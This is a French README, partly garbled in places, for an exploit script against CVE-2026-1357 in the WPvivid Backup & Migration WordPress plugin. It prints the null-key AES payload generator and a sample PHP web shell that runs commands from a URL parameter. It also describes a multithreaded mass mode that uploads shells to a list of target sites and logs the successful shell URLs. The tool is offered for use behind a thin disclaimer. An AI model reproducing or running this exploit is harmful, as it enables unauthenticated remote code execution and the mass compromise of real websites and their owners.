
Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification
CVE-2026-1357.py)Migration, sauvegarde, staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnérabilité : Téléversement arbitraire de fichier sans authentification → Exécution de code à distance
CVE : CVE-2026-1357 – CVSS 9.8 (Critique)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py est un outil d'exploitation de type preuve de concept pour la vulnérabilité WPvivid. Il se concentre sur la gestion défaillante de session AES qui permet à un attaquant de :
name).wpvivid_action=send_to_site.Le script ne tente pas de deviner ou d'abuser directement des clés privées. Il simule plutôt le flux défaillant de WPvivid dans lequel un échec de openssl_private_decrypt() conduit le chiffrement AES de phpseclib à être initialisé avec une clé nulle.
Le cœur de l'exploit se trouve dans gen_wpvivid_payload() :
Il construit une structure JSON :
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Il sérialise ce JSON (forme compacte, sans espaces).
Il chiffre le JSON en utilisant :
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Il ajoute ensuite au début :
"000" (un espace réservé statique pour le champ de longueur)."{len(cipher):016X}".Le blob chiffré final est :
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Ce blob est encodé en base64 et renvoyé comme valeur finale wpvivid_content.
Fonction :
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Cela correspond aux attentes de déchiffrement de WPvivid dans le chemin de code vulnérable après l'échec du déchiffrement RSA.
Le script propose deux modes principaux plus une capacité de test en masse :
mood1 – Générateur de charge utile
wpvivid_content valide en utilisant l'astuce de la clé nulle.mood2 – Testeur sur cible unique
Mode masse (à partir de mood1)
python3 CVE-2026-1357.py
Vous verrez une interface basée sur Rich avec une bannière et une sélection de mode :
mood1 – Générateur de charge utilemood2 – Testeur sur cible uniquewpvivid_content) qui encode :
Sélection du mode
Lorsque vous y êtes invité :
Choose mode (mood1/mood2) [mood1]:
Appuyez sur Entrée (par défaut mood1) ou saisissez mood1.
Nom de fichier / chemin cible
Il vous est demandé :
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Exemples :
Pour déposer un fichier dans le répertoire de sauvegarde WPvivid :
Nx_.php
Pour abuser d'une traversée de répertoire (si la cible l'autorise) :
../../public_html/Nx_.php
La valeur est placée dans le champ name de la charge utile JSON.
Mode de saisie du contenu
Le script affiche trois façons de définir le contenu du fichier :
EOF).shell.php).L'invite suivante s'affiche :
Mode [1/2/3] [1]:
Mode 1 – Ligne unique
Single line content:
Exemple de saisie :
<?php phpinfo();
Mode 2 – Multiligne
Enter file content, line by line. Type 'EOF' on its own line when done.
Vous pouvez coller ou saisir un script PHP multiligne, puis terminer par EOF sur sa propre ligne :
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Mode 3 – Fichier local
Local file path (e.g., shell.php):
Le script lit l'intégralité du fichier dans file_bytes.
Génération de la charge utile
Une fois le contenu capturé, le script :
Vous obtenez une sortie comme :
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
Et un fichier wpvivid_payload.txt est écrit :
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Après avoir généré la charge utile, le script demande :
Auto-send this payload to targets list (mass mode)? (y/N):
Si vous répondez y, il lance le mode masse avec la charge utile et le nom de fichier que vous venez de créer.
Fichier de cibles
Exemple d'invite :
Targets list file (one URL per line):
Format attendu du fichier (par exemple targets.txt) :
https://site1.com
site2.com
http://site3.net
Le script normalisera automatiquement les URL de base (en ajoutant le schéma si nécessaire).
Nombre de threads
Threads (concurrent sites) [5]:
Contrôle le nombre de sites traités en parallèle.
Logique par cible
Pour chaque cible :
Normaliser l'URL → base_url.
Appeler :
send_wpvivid_payload(base_url, payload)
qui :
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (vérification sous forme compacte).Si le téléversement est considéré comme réussi :
Construire shell_url comme :
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
L'enregistrer dans Nx_.txt.
Tenter verify_written_file() :
shell_url.status_code == 200, le marquer comme vérifié.Si des erreurs surviennent :
short_reason() :
Interface
[OK] <shell_url> en cas de succès.[FAIL] <base> (reason: ...) en cas d'erreur.[!] Not verified (...) lorsque le téléversement a peut-être réussi mais que la vérification a échoué.wpvivid_payload.txt ou une source externe) contre une URL unique, puis vérifier le fichier résultant.URL cible
Invite :
Target base URL (e.g., https://site.com):
Exemple :
https://victim.com
Le script normalise ceci en une base comme :
https://victim.com
Nom de fichier
Invite :
Expected file name (e.g., Nx_.php):
C'est le nom/chemin que vous attendez que WPvivid écrive (correspondant à ce que vous avez encodé dans le champ name de la charge utile).
Saisie de la charge utile
Invite :
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=..., le préfixe est supprimé.Exécution
Le script :
Envoie la requête POST avec wpvivid_action=send_to_site + votre wpvivid_content.
Si la réponse suggère un succès, il construit :
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
et affiche [OK] avec cette URL.
Ajoute les URL réussies à Nx_.txt.
Tente la vérification via verify_written_file() et affiche le résultat.
Ce mode est idéal pour les tests manuels / en laboratoire d'un site unique avec un contrôle fin de la charge utile.
wpvivid_payload.txt
mood1.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (mode masse) et mood2.Cet outil est destiné uniquement à :
En utilisant ce script, vous acceptez que :
Utilisez-le à vos propres risques et uniquement pour des tests de sécurité légitimes.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedPour les mises à jour, les outils et le contenu de recherche en sécurité, suivez la chaîne Telegram :
👉 @KNxploited